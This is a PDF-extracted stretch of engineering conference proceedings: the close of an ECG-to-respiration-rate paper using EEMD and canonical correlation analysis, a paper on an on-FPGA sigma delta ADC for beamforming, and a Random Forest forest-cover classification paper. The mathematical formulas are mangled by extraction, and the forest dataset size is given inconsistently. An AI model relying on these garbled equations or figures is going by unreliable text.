IMFpj : IMFp ½n ¼ IMFpj ½n: ð1Þ
P
So for each one, a residue is obtained as
j
rpj ½n ¼ rp1 ½n IMFpj ½n ð2Þ
The added white noise will occupy the entire time frequency space, and the parts
of the signal will be automatically projected onto proper scales of reference
established by the white noise, thus eliminating mode mixing [7]. The individual
IMFs are, of course, very noisy but the ensemble mean of a number of corre-
sponding IMFs will leave only the signal, as a collection of white noise cancels
each other out in a time space ensemble mean.
2.1 Canonical Correlation Analysis
Canonical correlation analysis (CCA) is a statistical way of making sense of

cross-covariance matrices by finding linear projections of two random vectors that
are maximally correlated and used in many fields for example in medical studies,
meteorology, and economics. CCA is another technique which employs the Blind
source separation (BSS) method for separating a number of mixed or contaminated
signals [8]. The problem in Blind source separation by forcing the sources to be
maximally autocorrelated and mutually uncorrelated is overcome in CCA technique
[9]. Considering a input r, let y be a linear combination of neighboring samples
ðyðtÞ ¼ rðt þ 1Þ þ rðt 1ÞÞ: Consider the linear combinations of the components
in r and y; called as the canonical variates.
r ¼ wTr ðr br Þ ð3Þ
y ¼ wTy ðy by Þ ð4Þ
CCA finds the weight matrices wx and wy that will maximize the correlation q
between r and y:
wTr cry wTy

q ¼ qffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi ; ð5Þ
wTr crr wr wTy cyy wy
where cyy and crr are non-singular within-sets covariance matrices and cry is the
between-sets covariance matrix. The maximum of q can be calculated by setting the
derivatives of (5) to zero with respect to wr and wy :
c1 1 1 T
b r ¼ q2 w
rr cry cyy cyr w br ð6Þ
c1 1 1 T
b y ¼ q2 w
yy cyr crr cry w b y; ð7Þ
where wy and wr can be found by using eigenvectors of the matrices c1 1 1 T

rr cry cyy cyr
and c1 1 1 T
yy cyr crr cry , respectively, and the corresponding eigenvalues q are the squared
2
canonical correlations. The first variate pairs are the eigenvectors of wr and wy that
indicate the major square correlation coefficient q2max . This CCA technique, therefore,
generates a weight row vector Wr ¼ ½wr1 ; wr2 ; ; wrm that can be used to serve
the recorded sources into the self-correlated and mutually uncorrelated sources.
2.2 EEMD-CCA
The proposed EEMD-CCA technique functions exactly the way EEMD-ICA

technique works. A multichannel signal R is constructed by applying EEMD over
single-channel signal r. The data-driven IMF determined to be artifacts are
removed, and then the rest of channels are used in conjunction with the unmixing
W, determined using the CCA algorithm, to find the source signals b S. All the
sources set to zero that reflects artifacts just like EEMD-ICA algorithm and then the
original multichannel signal is reconstructed by subtracting the artifact components,
using the inverse of the unmixing matrix W−1 creating the matrix R. b The new IMF
b
components in the R matrix are used to reconstruct the original single-channel
signal without the artifacts br [10].
2.3 Algorithm
There are two stages in the algorithm, one is ECG denoising and the other is
estimation of respiration rate from denoised ECG. The steps involved in this
algorithm are explained below:
1. Firstly, a clean ECG signal was taken from the various databases available on [10].
2. Then a real-time baseline wander was added to the ECG signal in order to create
it noisy signal. The baseline wander noise was taken from MIT-BIH Noise
Stress Test Database (MIT-NSTDB).
3. After this, correlation coefficient was calculated between clean ECG signal
(ground truth signal (GT)) and noisy signal.
4. Then the noisy signal was fed to the EEMD algorithm. The amplitude of the
white noise, added in case of EEMD while calculating true IMFs, was taken as
0.2 time the standard deviation of the noisy signal.
5. The IMFs obtained after EEMD were fed to the CCA algorithm. The canonical
components which were regarded as artifacts, on the basis of correlation coef-
ficient with the ground truth reference, were set to zero.
6. The remaining canonical components were used to reconstruct the signal by
passing them through the inverse of unmixing matrix. Then the denoised signal
was obtained by adding these newly obtained IMFs.
7. The comparison of these techniques was done by calculating the signal-to-noise
ratio both after and before the denoising process.
8. Then the envelope of the denoised ECG signals was obtained through R-peak
detection.
9. This envelope was considered as the estimated respiratory information, and it
was compared with original respiratory signals corresponding to the ECG
signal.
The comparison was done by calculating breathes per minute of both the original
and the estimated respiratory signals.
In the proposed method, ECG signals were taken from the Physionet. Two dat-
abases were used, MIT-Polysomnographic database and Apnea-ECG database. The
sampling rates of signals are digitized at 250 Hz in MIT-Polysomnographic data-
base, and the sampling rate of signals is 100 Hz in Apnea-ECG database. Four
records were taken from both the databases including ECG and their corresponding
respiratory signals. The duration of samples taken is one minute [11, 12].
The results were computed in both stages, denoising and estimation of respi-
ratory rate. The comparison parameters for denoising parameters are signal to noise
ratio and correlation coefficient both before and after the denoising process. The
comparison parameter is breathes per minute (BPM).
Signal-to-noise ratio is given by the formulae given below:

@2
snrbef ¼ 10 log 2r ð8Þ
@ebef

@2
snraft ¼ 10 log 2r ð9Þ
@ebef
Dsnr ¼ snraft snrbef ; ð10Þ
where @r2 is the variance of the ground truth signal, @ebef

2
is the variance signal of the
error signal before denoising, and @eaft
2
is the variance of the error signal after
denoising. Error signal is the difference between the ground truth signal and noisy
signals before and after the denoising process.
The correlation coefficients are calculated at both the input and the output stages
of the denoising process. These coefficients are given as below:
COR NOISY ¼ correlation coefficient between noisy and ground truth signal:
COR DEN ¼ correlation coefficient between denoised and ground truth signal:
Table 1 gives various parameters of the denoising ECG signals taken from
Apnea-ECG and MIT-Polysomonography database. The performance of the algo-
rithm in estimating the respiratory rate is depicted in Table 2.
The graphical analysis shown in the above figures depicts the various outputs
obtained at the different stages of the proposed method. Figure 1 shows the true
IMFs obtained after performing the EEMD of the noise contaminated signal.
Table 1 Performance of eemd-cca algorithm in denoising of ecg from apnea and

mit-polysomonographic database
Record Amplitude of the Canonical components snrbef snraft Dsnr
white noise set to zero
A01er 13.440 1–8 1.727 21.674 19.947
A02er 11.865 1–8 −9.682 18.657 28.339
A04er 16.785 1–11 7.4377 29.107 21.669
C03er 13.6236 1–8 −1.8896 22.990 24.879
B01er 15.0767 1–10 4.6515 27.290 22.638
slp01a 09.176 1–9 −8.386 20.494 28.880
slp59 12.914 1–9 6.0858 28.608 22.522
slp01b 09.115 1–10 −8.8641 19.098 27.962
slp67x 13.859 1–9 8.0923 23.596 15.504
slp66 12.998 1–9 6.2496 25.4499 19.200
Table 2 Estimation of respiration rate after denoising ECG signal through EEMD algorithm in
case of APNEA and MIT-polysomonographic database
Database Record Original respiratory Estimated respiratory
signal (BPM) signal (BPM)
APNEA ECG A01er 14 12
A02er 21 26
A04er 17 15
C03er 14 14
B01er 16 14
MIT-Polysomonographic slp01a 13 12
slp59 18 17
slp01b 11 11
slp67x 15 14
slp66 19 15
Fig. 1 Different IMFs obtained after performing EEMD
Fig. 2 Different canonical components obtained after performing CCA on IMFs obtained From
EEMD
Figure 2 shows the results of performing CCA on the obtained IMFs which were
obtained in the previous stage. Finally, the estimated respiration signal of C03er has
been shown in Fig. 3.
400
380
360
340
320
300
280
260
240
0 1000 2000 3000 4000 5000 6000
Fig. 3 Estimated respiratory rate of C03er (Apnea-ECG database) after EEMD-CCA
4 Conclusion
The proposed method shows that respiration signal can be easily estimated from the
ECG signal using the Canonical correlation analysis as a BSS process. Though the
ECG signal is single-channel signal, using the EEMD for the generation of mul-
tichannel signal, CCA can be easily used. The error in the estimated respiratory rate
information is also less, i.e., ±2.5 BPM. The combination of EEMD-CCA shows
promising results in the denoising stage. The average signal-to- ratio improvement
in case of EEMD-CCA is 20.8989 db.
References
1. Pallas-Areny, R., Colominas-Balague, J., Rosell, F.J.: The effect of respiration-induced heart
movements on the ECG. Proc. IEEE Trans. Biomed. Eng. 36(6), 585–590 (1989)
2. Huang, N.E., Shen, Z., Long, S.R., Wu, M.C., Shih, H.H., Zheng, Q., Yen, N.C., Tung, C.C.,
Liu, H.H.: The empirical mode decomposition and the hilbert spectrum for nonlinear and
non-stationary time series analysis. Proc. R. Soc. Lond. A, Math. Phys Eng. Sci. 454(1971),
903–995 (1998)
3. Widjaja, D., Varon, C., Dorado, A.C., Suykens, J.A.K., Van Huffel, S.: Application of Kernal
principal component analysis for single-lead-ECG-derived respiration. In: Proceedings of
Biomedical Transactions, vol. 59, no. 4, pp. 1169–1176 (2012)
4. Madhav, K.V., Ram, M.R., Krishna, E.H., Reddy, K.A.: Estimation of respiration rate from
ECG, BP and PPG signals using empirical mode decomposition. In: Proceedings of IEEE
International Conference I2MTC-2011, pp. 1–4 (2011)
5. Wu, Z., Huang, N.E.: Ensemble empirical mode decomposition: a noise-assisted data analysis
method. Adv. Adapt. Data Anal. 1(1), 1–41 (2009)
6. Singh, G., Kaur, G., Kumar, V.: ECG Denoising using adaptive selection of IMFs through
EMD and EEMD. In: International Conference on Data Science & Engineering (ICDSE),
pp. 228–231 (2014)
7. Zhang, J., Yan, R., Gao, R.X., Feng, Z.: Performance enhancement of ensemble empirical
mode decomposition. In: Proceedings of Mechanical System and Signal Processing, vol. 24,
pp. 2104–2123 (2010)
8. Borga, M.: Canonical Correlation a Tutorial, Jan 2001
9. Sweeney, K.T., McLoone, S.F., Ward, T.E.: The use of ensemble empirical mode
decomposition with canonical correlation analysis as a novel artifact removal technnique.
IEEE Trans. Biomed. Eng. 60(1), 97–105 (2013)
10. Hassan, M., Boudaoud, S., Terrien, J., Karlsson, B., Marque, C.: Combination of Canonical
Correlation Analysis and Empirical Mode Decomposition Applied to Denoising the Labor
Electrohysterogram. In: Proceedings of IEEE Transactions on Biomedical Engineering,
vol. 58, no. 9, Sept 2011
11. Torres, M.E.C., Schlotthauer, G., Flandrin, P.: A complete ensemble mode decomposition
with adaptive noise. In: Proceedings of IEEE International Conference ICASSP-2011,
pp. 4144–4147, 2011
12. http://www.physionet.org/physiobank/database
An Efficient On-Chip Implementation
of Reconfigurable Continuous Time Sigma
Delta ADC for Digital Beamforming
Applications
Anjani Harsha Vardhini Palagiri, Madhavi Latha Makkena

and Krishna Reddy Chantigari
Abstract SONAR and RADAR makes use of multiple beamforming systems.

A novel Onboard Digital Beamforming (DBF) system suitable for various appli-
cations is implemented with mixed signal design of Sigma Delta ADC architecture.
FPGA is configured as a Reconfigurable On-chip Sigma Delta ADC and analyzed
for a multichannel beamforming system with Spartan 6, Virtex 4, and Virtex 6
FPGA. With the architectural variation, major advantages can be seen in SONAR
beamforming and similar array processing applications.
Keywords Sigma delta ADC SONAR Digital beamforming FPGA

LVPECL
1 Introduction
With the availability of very-large-scale integrated (VLSI) digital chips, most of the
analog signal processing is taken over by digital signal processing. Digital signal
processing permitted the implementation of various applications on digital signal
microprocessor. Further developments led to the implementation of embedded
onboard real-time systems and field-programmable gate arrays (FPGAs).
A.H.V. Palagiri (&)

ECE Department, V.I.T.S, Deshmukhi, Hyderabad, India
e-mail: pahv19@rediffmail.com
M.L. Makkena
ECE Department, JNTU, Hyderabad, India
e-mail: mlmakkena@yahoo.com
K.R. Chantigari
Nalla Narsimha Reddy Group of Institutions, Hyderabad, India
e-mail: cvkreddy2@gmail.com

292 A.H.V. Palagiri et al.
Digital Beamformer
ADC DDC
ADC DDC
Phased RADAR/
Array ADC DDC FIFO Beam SONAR
Sensor Former Processing
ADC DDC
Fig. 1 Conventional digital beamforming system
1.1 Digital Beamforming System
Beamforming is a signal processing technique used in sensor arrays for directional

signal transmission or reception. Spatial selectivity is achieved by beamforming at
the transmitting and receiving ends. Beamforming is used for sound and radio
waves. DBF system is used in seismology, RADAR, SONAR, and wireless
communications.
SONAR/RADAR digital beamforming (DBF) systems as in Fig. 1 collects the
data from the individual elements of the array in the analog form. This data rep-
resents the amplitude and phase of the incoming continuous or analog signals. For
the conversion of these analog signals into discrete digital signals, analog-to-digital
converters (ADCs) are needed for further processing. SONAR beamforming
applications require digitization of SONAR signals coming from multiple sensors.
Figure 1 illustrates the DBF system where a number of ADCs are required.
Section 1 overviews the DBF system found in SONAR/RADAR applications.
Section 2 describes the design of on-chip sigma delta analog-to-digital converter
(SD-ADC) on FPGA suitable for digital beamforming. Implementation of on-chip
16-channel DBF system and its results are discussed in Sects. 3 and 4 concludes the
work.
2 Design of On-Chip Continuous Time Sigma Delta ADC
The major drawback of the existing DBF systems is that on the reception of analog
signal at every sensor array, ADC is required which is placed outside the digital
processing board. ADCs placed outside the processing blocks occupy additional
space on the boards [1–3]. This in turn increases the board real estate and the cost.
Though digital sections are implemented by configuring FPGA, the ADCs are
placed outside the FPGA [4, 5].
An Efficient On-Chip Implementation … 293
Analog
Input signal
ANALOG
ADC
Digital
Signal
Processing
Fig. 2 Existing digital beamforming systems using FPGAs
The thrust toward low-power design and the necessity of reconfigurability in

SoC context was visualized more than a decade before to address a wide range of
applications. SoC approach research aims to build the single chip solution incor-
porating data converters to digital processors, employing state-of-the-art of VLSI
technologies. The primary and foremost design concern of this proposed system is
to reduce the silicon area occupied by the ADC used in DBF systems. ADCs are not
available on FPGA or most of the dedicated Intellectual Property (IP). The pro-
posed DBF system makes use of few discrete components and the sigma delta ADC
architecture is built around the FPGA differential pads. There is no need of separate
interface between the analog and onboard digital sections as shown in Fig. 2. No
special attention is needed in terms of interfacing protocol and timing.
2.1 Implementation of Sigma Delta ADC on FPGA
Sigma delta ADC architecture provides many advantages over nyquist rate con-
verters which include the reduced anti-alias filter complexity and easy integrability
in a digital chip [6]. The feature of digital dominated design of SD-ADC makes it
different from other types of ADCs. SD-ADCs implement oversampling approach
with much higher sampling frequency of the analog input voltage than the achieved
multi-bit rate. With the high filtering effect, sigma delta modulator distributes the
noise to the higher frequencies and the process is termed as noise shaping.
A conventional sigma delta ADC consists of a comparator, integrator, 1-bit DAC,
digital filter, and decimator [7]. Among various low-voltage differential signaling
standards of FPGA, low-voltage positive emitter-coupled logic (LVPECL) is
configured as a comparator suitable for sigma delta ADC architecture [8]. Figure 3
illustrates the implementation of FPGA LVPECL pin standard as a comparator for
SD-ADC.
Digital section comprises of CIC, CFIR, and PFIR sections. The multiplierless
CIC architecture is used to realize front-end decimation of 100. An FIR-based
decimator is configured to generate additional decimation of 4, resulting in total
decimation of 400 [9]. Table 1 lists the parameters chosen and the corresponding
results of the proposed sigma delta ADC.
Analog FPGA
Input FPGA I/O PADs
signal
+ B Decimation
LVPECL U and
comp F Filtering
R - 12-bit
digital output
C fs fs
+
LVPECL
Driver
NC
–
Fig. 3 FPGA pin configured as comparator
Table 1 Sigma delta ADC performance parameters and results

Parameter SD-ADC performance
Order 1
Supply voltage 0–3.3 V
Signaling Technology LVPECL
Standard operating range 1.2 ± 0.3
FPGA family Spartan 6, Virtex 4, and Virtex 6
Digital section CIC, PFIR, CFIR
External analog components R—100 Ω, C—1 nF
Clock speed 250 MHz
OSR 400
Input signal Up to 100 kHz (for D = 400)
Up to 400 kHz (for D = 100)
fS 1 MHz with 72 dB DR
4 MHz with 60 dB DR
DR 72 dB
Resolution 12 bit
3 SONAR/RADAR DBF System on FPGA
In contrast to the conventional DBF system the proposed on-chip sigma delta ADC
architecture on FPGA requires very less additional circuitry outside FPGA. Due to
this architectural variation, the proposed SD-ADC architecture carries the advan-
tage of ease of design. As the user-programmable pins on FPGA/ASICs run over
Analog
Input signal Differential Pin
12 bits 12 bits
1 bit
LVPECL CFIR
COMP BUFFER CIC PFIR
R
C
LV Digital
PE Output
CL
Fig. 4 Proposed FPGA-based DBF system
hundreds, realizing SONAR/RADAR beamforming and similar array processing

systems for more channels is possible reducing the cost of the system and bill of
material considerably. The complexity of synchronizing several ADC chips for
synchronous sample capture across all SONAR channels is reduced, as all the ADC
are controlled from the same clock. This gives a technical advantage in signal
processing and ease in board design. Figure 4 illustrates the proposed architecture
which eliminates the need of external ADC block outside the digital processing
system and Fig. 5 depicts the zoomed version of the AMS-VHDL simulation of the
proposed architecture.
Fig. 5 Mixed signal VHDL simulation of single SD-ADC on FPGA
A 16-channel DBF system requires 16 ADCs which consumes most of the

silicon and board space. Since the number of user-programmable pins on
FPGA/ASICs runs over hundreds, the proposed architecture illustrated in Fig. 4
eliminates additional ADC blocks and makes use of the FPGA LVPECL differential
I/Os to build up sigma delta ADC with few discrete components connected
externally. The remaining digital sections are obtained from the configurable blocks
of FPGA. Therefore, realizing SONAR/RADAR beamforming and similar array
Fig. 6 ChipScope Pro simulation results-1 of multichannel beamforming
Fig. 7 ChipScope Pro simulation results-2 of multichannel beamforming
processing systems for more channels is possible resulting in the reduction of

silicon usage and cost of the system considerably.
3.1 Simulations and Results
Figures 6, 7, and 8 illustrate the ChipScope Pro results of the proposed system.
Spartan 6 FPGA device utilization is summarized in Table 2 for a 16-channel
DBF system.
Tables 3 and 4 show the utilization of Virtex 4 and Virtex 6 FPGA for the
proposed architecture of Sigma Delta ADC for 16-channel DBF system.
Fig. 8 ChipScope Pro-simulation results-3 of multichannel beamforming
Table 2 Device utilization summary—Spartan 6

Logic utilization Used Available Utilization (%)
Number of slice registers 2840 18,224 15
Number of slice LUTs 8139 9112 89
Number of fully used LUT-FF pairs 1552 9427 16
Number of bonded IOBs 58 232 25
Number of block RAM/FIFO 28 32 87
Number of BUFG/BUFGCTRLs 8 16 50
Number of DSP48A1 s 12 32 37
Table 3 Device utilization summary—Virtex 4

Number of four input LUTs 3347 50,560 6
Number of slice FF 2842 50,560 5
Number of block RAMB16s/FIFO16 29 232 12
Number of GCLKs 9 32 28
Number of DSP48s 75 128 58
Table 4 Device utilization summary—Virtex 6

Number of slice LUTs 3464 150,720 2
Number of fully used LUT-FF pairs 1481 4824 30
Number of block RAM/FIFO 16 416 3
Number of BUFG/BUFGCTRLs 9 32 28
Number of DSP48E1s 64 768 8
4 Conclusion
Mixed signal simulation of Sigma Delta ADC allows the circuit to signal the
processing level validation of the proposed DBF application. A 16-channel DBF
system on FPGA is implemented without additional ADCs outside the
chip. Simulations are carried out on Xilinx FPGAs viz. Spartan 6, Virtex 4, and
Virtex 6 and the results illustrate that implementation of SONAR/RADAR DBF
system on FPGA is possible with very less silicon utilization with high-end
technologies.
References
1. Barton. P.: Digital beamforming for RADAR. In: IEE Proceedings, vol. 127, August 1980
2. Curtis, T., Ward, R.: Digital beamforming for SONAR systems. In: IEE Proceedings, vol. 127,
August 1980
3. Allen, G.E., et al.: Real-time sonar beamforming on workstations using process networks and
POSIX threads. IEEE Trans. Signal Process. 38(3), 921–926 (2000)
4. Wedon, W.H.: Phased array digital beamforming hardware development at applied radar. In:
IEEE International Symposium on Phased Array Systems and Technology, pp. 854–859, 2010
5. Seguin, E., Tessier, R., Knapp, E., Jackson, R.W.: A dynamically-reconfigurable phased array
radar processing system. In: 21st International Conference on Field Programmable Logic and
Applications, pp. 258–263 (2011)
6. Candy, J., Temes, G.: Oversampling methods for A/D and D/A conversion, in oversampling
delta-sigma data converters. IEEE Press, New York (1992)
7. Schreier, R., Temes, G.C.: Understanding Delta-Sigma Data Converters. Wiley-Interscience,
New York (2005)
8. Harsha Vardhini, P.A. et.al.: Analysis on digital implementation of sigma-delta ADC with
passive analog components. Int. J. Comput. Digital Syst. 2(2), 71–77 (2013)
9. Harsha Vardhini, P.A. et. al.: Optimum decimation and filtering for reconfigurable sigma delta
ADC. Far East J. Electron. Commun. 11(2), 101–111
Random Forest for the Real Forests
Sharan Agrawal, Shivam Rana and Tanvir Ahmad
Abstract A forest is a vast area of land covered predominantly with trees and
undergrowth. In this paper, adhering to cartographic variables, we try to predict the
predominant kind of tree cover of a forest using the Random Forests
(RF) classification method. The study classifies the data into seven classes of forests
found in the Roosevelt National Forest of Northern Colorado. With sufficient data
to create a classification model, the RF classifier gives reasonably accurate results.
Fine-tuning of the algorithm parameters was done to get promising results. Besides
that a dimensionality check on the dataset was conducted to observe the possibil-
ities of dimensionality reduction.
Keywords Random forests Dimensionality reduction Forests’ classification
1 Introduction
Forests are one of the most extensive terrestrial ecosystems on Earth, and are
widespread around the globe. The influence of forests and humans on each other has
been observed to be favorable as well as critical. Forests provide a vast array of
services but, along with those they also bring environmental, economic, health,
and aesthetic costs. Thus, it is beneficial for us to observe the cover type of forests
which tells us about the predominant kind of tree cover, expanse of forests,
ecosystems, and features such as carbon stocks.
S. Agrawal (&) S. Rana T. Ahmad

Department of Computer Engineering, Jamia Millia Islamia, New Delhi, India
e-mail: sharan.agrawal@outlook.com
S. Rana
e-mail: shivamrana95@yahoo.in
T. Ahmad
e-mail: tahmad2@jmi.ac.in

302 S. Agrawal et al.
Among many classification algorithms considered for our research, Random

Forests (RF) proved to be the most accurate, a classification algorithm which
constructs a large number of decision trees at training time (called an ensemble) and
gives the mode or mean prediction (regression) of individual trees as the output. RF
basically gives a method to find the average prediction of a multitude of decision
trees, which have been constructed on the basis of different instances
(cross-validation) from the same dataset [1]. This leads to a minor loss in inter-
pretation ability, but generally results in a stable model.
Accuracy of classification was boosted by dimension reduction techniques.
Dimension represents the number of random variables (or the number of attributes)
present in our dataset. In statistics, the method of reduction of the number of
random variables in consideration is known as dimensionality reduction. As
dimensionality increases, the data increasingly becomes sparser which is prob-
lematic from a statistical point of view. Prediction becomes difficult in case of
high-dimensional data as a colossal amount of training data is required to ensure
that there are significant number of samples with each combination of values and
unavailability of such a training data leads to a loss in predictive power (also known
as the Hughes effect [2]). Another technique used in our research for boosting the
accuracy of our result was Cross-Validation, which is basically an iterative testing
method usually influential with large datasets, in which the same algorithm is
applied multiple times selecting different instances of the data. The average of the
classifications is then considered as the final prediction.
2 Related Works
The development of algorithm for RF was influenced by the work of Amit and
German [3] in 1997, who introduced the idea of searching over a randomly selected
subset of the available decisions when splitting a node, in order to construct a single
tree. This idea was evolved into RF by Breiman [4]. RF has been used in variegated
fields, such as network intrusion detection [5], fraud detection in online retailing
[6], patient response prediction [7], cancer classification [8], and image data clas-
sification [9] because of its robustness to noise and the accuracy of its predictions.
Geng et al. [10] used RF classifier to identify the type of worm by analyzing its
body movements. In a 2006 experiment by Diaz-Uriarte and Alvarez de Andres, RF
classifier was used on ten different DNA microarray datasets procured from a
variety of diseases which affect humans [11]. They found that, RF is competitive
with alternative methods, without the necessity of any fine-tuning of parameters or
preselection of variables. The RF classifier also performs fairly accurate in pattern
recognition concerning the diagnosis of gas turbine blading faults [12]. In this
research, randomness was introduced to the trees in two different ways, based on
different theoretical assumptions. The classifier was then compared against other
Machine Learning algorithms, such as neural networks, classification and regres-
sion trees, Naive Bayes and K-Nearest Neighbor. Accuracy of 97 % was achieved
Random Forest for the Real Forests 303
in terms of precision and recall, which was an enhancement to the existing levels
accomplished by neural networks by a factor of 1.5–2 %.
Dimensionality reduction (DR) is also an important technique in data mining.
DR methods have been used to deal with the curse of dimensionality in case of
analysis of a wide variety of data [13, 14].
3 Proposed Architecture
Figure 1 describes the proposed methodology we employed for the classification of

forests based on the forest cover type, having the following modules—data pre-
processing, accuracy-based classifier selection, classifier and dimensionality
reduction.
3.1 Procuring the Dataset
This is the primary step during which data obtained from the surveys are used to
derive the independent variables. A raw (not scaled) dataset is obtained and saved
in a standard format (e.g., CSV).
Fig. 1 Proposed architecture of classification
3.2 Data Preprocessing
Various data preprocessing steps like data scaling, field removal, and format con-
version were applied that can be summarized as follows. In the field removal steps,
columns like ID, Serial No. are removed from the data since these columns are used
for identifying the rows and have no role in classification.
3.3 Accuracy-Based Classifier Selection
In this step, the emphasis is on the selection of the classification algorithm. The
dataset should be tried on various machine learning (ML) algorithms. The classifier
with the highest accuracy is selected as the base learner.
3.4 Classifier
An algorithm that implements classification, that is grouping of the data, is known

as a classifier. The algorithm selected in the previous step is further experimented
within this step, using the concepts like bootstrapping and random feature selection.
Further, various parameters of the classifier are tuned to get more accurate results.
In order to tune the classification of a number of options such as Cross-validation
(CV), percentage split of dataset was used with the objective of producing the best
possible results with a model built upon the training set. Cross-validation is usually
preferred over percentage split as it brings a level of randomness in the classifi-
cation. Cross-validation’s one round involves splitting a sample of data into com-
plementary subsets, training being done with a subset (training set), and testing on
other subset (testing set). To reduce variability, the validation results of multiple
rounds of CV are averaged over the total rounds. The parameters that affect the
performance of the classifier are recognized and manipulated to get an optimum
(both time and accuracy) level.
3.5 Dimension Reduction (DR)
DR is the process of removal of variables from the dataset which are correlated with
each other and might degrade the classifier accuracy. Following steps were per-
formed in order to improve the accuracy.
Iterative Classification Each variable in the dataset is excluded one by one and a
model is built using the RF classifier and variables whose exclusion results in
accuracy higher than the default accuracy (when no variable is removed) are noted
down.
Dimension Reduction Candidate variables are chosen out of the variables
obtained in the previous step, such that, their removal does not affect the accuracy
of classification model. Among those candidates, for the pair about which we have
a rationale for their removal are removed. This accuracy-driven DR approach is also
known as the wrapper approach.
4 Experimental Setup
The experimental setup for our research was divided into the following modules:
4.1 Experimental Dataset
Our dataset contains following 54 strict cartographic variables—Elevation, Aspect,

Slope, Horizontal Distance To Hydrology, Vertical Distance To Hydrology,
Horizontal Distance To Roadways, Hill-shade 9 A.M. (Hill9), Hill-shade Noon
(HillNoon), Hill-shade 3 P.M. (Hill3), Horizontal Distance To Fire Points,
Wilderness Area (4 binary factors, 1 = presence and 0 = absence), and Soil Type
(40 binary factors, 1 = presence and 0 = absence). There were a total of 15,210 rows
of observations distributed equally (2160 instances each) among seven classes of
forests namely, Spruce/Fir, Lodgepole Pine, Ponderosa Pine, Cottonwood/Willow,
Aspen, Douglas-fir, and Krummholz.
Weka1 is a data mining software in Java. The raw training dataset procured by us
(in CSV format) was converted to a format which Weka can recognize. The “Id”
field was also excluded for the facilitation of further processing.
4.3 Accuracy-Based Classifier Selection
Many ML algorithms used for this step have already been implemented in Weka
and applied upon the training dataset using the software’s GUI. The summarized
1
http://www.cs.waikato.ac.nz/ml/weka/.
Table 1 Accuracy with S. No. Algorithm Accuracy

various classifiers
1 Naive Bayes 65.7804
2 Decision table 69.3519
3 Bayesian belief network 69.6825
4 Random tree 74.5833
5 Classification via regression 80.3638
6 J48 80.7606
7 Bagging 82.7315
8 Random forest 87.0643
results of accuracies for various ML algorithms in Table 1 shows that the RF

classifier being more accurate (87.06 % accuracy), should be the obvious choice.
4.4 Random Forest Classifier
RF is a classification algorithm which constructs a large number of trees (called an

ensemble) at training time and gives the mode or mean prediction (regression) of
the individual trees as the output. The robustness of the RF classifier was improved
by using bootstrapping and random selection of attributes in the tree construction
process. A diverse collection of robust trees lowers the overall classification error
rate and enhances the effective solidity of the classifier. The classifier further
undergoes the following two steps.
Test Options Out of the two test options Cross-validation (CV) and percentage
split, we preferred CV with tenfolds as discussed in Sect. 3.
Algorithm Tuning RF classifier works mainly on two factors, viz., numTrees
(number of trees to be used to build the model) and numFeatures (randomly
selected number of attributes to be considered at each node when building the
trees). The preferable [15] values for the above two factors (numTrees, and
numFeatures) are 100 trees and M/3 features (‘M’ represents the total number of
attributes). The modification of parameters was done using Weka GUI in the
algorithm options.
4.5 Dimensionality Reduction
As stated in the proposed architecture (Sect. 3) here, we used iterative classification

and dimension reduction processes to reduce the dimensionality of the data. In our
dataset, there was a correlation between the variables: slope and aspect and also
between all the hill-shades (Hill9, HillNoon, and Hill3). Based on the analysis of
the data and the accuracies obtained after the removal of various combinations of
Table 2 Result
S. No. Features excluded Accuracy
1 None 87.064
2 Hill-shade at 3 P.M. 87.368
3 Hill-shade at 9 A.M. 87.262
4 Hill-shade at Noon 87.050
5 Slope 87.209
6 Aspect 87.202
7 Elevation 83.691
8 Slope, Hill-shade at 9 A.M., Hill-shade at 3 P.M. 87.652
9 Slope, Hill-shade at Noon, Hill-shade at 3 P.M. 87.341
10 Slope, Hill-shade at 9 A.M., Hill-shade at Noon 87.506
the above correlated fields (as summarized in the Table 2), we decided to remove
slope, Hill9, and Hill3 from the data. The rationale of their removal has been
discussed in the next section (Sect. 5).
5 Experimental Results and Analysis
After the exhaustive experimental setup, we finalized the use of RF classifier for our
dataset with the following parameter values and test options:
• Trees to be constructed: 100
• Features to be used for each tree: 17
• Cross-Validation: tenfold
For dimensionality reduction, the results of iterative classification are shown in
Table 2. As a rationale for removal of any one of slope and aspect was that both
tells us about the slope but, aspect also gives the compass direction of a slope thus,
making it have an influence on temperature. Hence, aspect seemed a much more
important parameter leading to the exclusion of slope. With the case of hill-shade
(at three times, namely 9 A.M., Noon, and 3 P.M.) removal of any one field led to
an increase in the accuracy, but the differences in the classifier accuracy was not
significant, as shown in the Table 2. This can be attributed to the fact that hill-shade
at different times represent the direction of sunlight falling on the surface at different
angles thus, only one out of the three attributes is required. Finally, the removal of
Slope, Hill9, and Hill3 produced the best accuracy (87.652 %). The detailed results
for the classifier are as follows (Table 3).
• Total Number of Instances: 15,120
• Correctly Classified Instances: 13,253 (87.6521 %)
• Mean absolute error: 0.0665
Table 3 Confusion matrix

a b c d e f g Classified as
1692 310 2 0 37 4 115 a=1
345 1546 46 0 157 56 10 b=2
0 12 1809 88 16 235 0 c=3
0 0 38 2096 0 26 0 d=4
2 35 24 0 2080 19 0 e=5
0 11 160 49 14 1926 0 f=6
53 2 0 0 1 0 2104 g=7
6 Conclusion
In this paper, we have described the task of the classification and prediction of forest
cover types based strictly on cartographic variables with the use of Weka (a data
mining software). We found that the dataset upon which dimensionality reduction
technique was used to reduce its dimension, when used with the Random Forests
algorithm achieves high accuracy. Controlling the parameters of RFs also helped in
getting a more accurate result. The results of our experiment were attained by
exhaustive experiments and trials with the RF ensemble.
One significant part of the future research is the generalization of the proposed
framework to a phase, such that one is able to use the framework with significant
classification accuracy on datasets of different domains. Further, the parameter
selection could be improved to be more robust which will in turn lead to finer
classification results.
Acknowledgments The authors would like to thank Kaggle2 for hosting the above problem. This
dataset was provided by Jock A. Blackard and Colorado State University. We also thank the UCI
machine learning repository for hosting3 the dataset [16].
References
1. Hastie, T., Tibshirani, R., Friedman, J.: The Elements of Statistical Learning: Data Mining,
Inference, and Prediction. Springer (2009)
2. Hughes, G.: On the mean accuracy of statistical pattern recognizers information theory. IEEE
Trans. 14, 55–63 (1968)
3. Amit, Y., Geman, D.: Shape quantization and recognition with randomized trees. Neural
Comput. 9, 1545–1588 (1997)
4. Leo, B.: Random Forests Machine Learning 45(1), 5–32 (2001)
2
http://www.kaggle.com/.
3
https://archive.ics.uci.edu/ml/data-sets/Covertype.
5. Zhang, J., Zulkernine, M.: Network intrusion detection using random forests. In: Third Annual
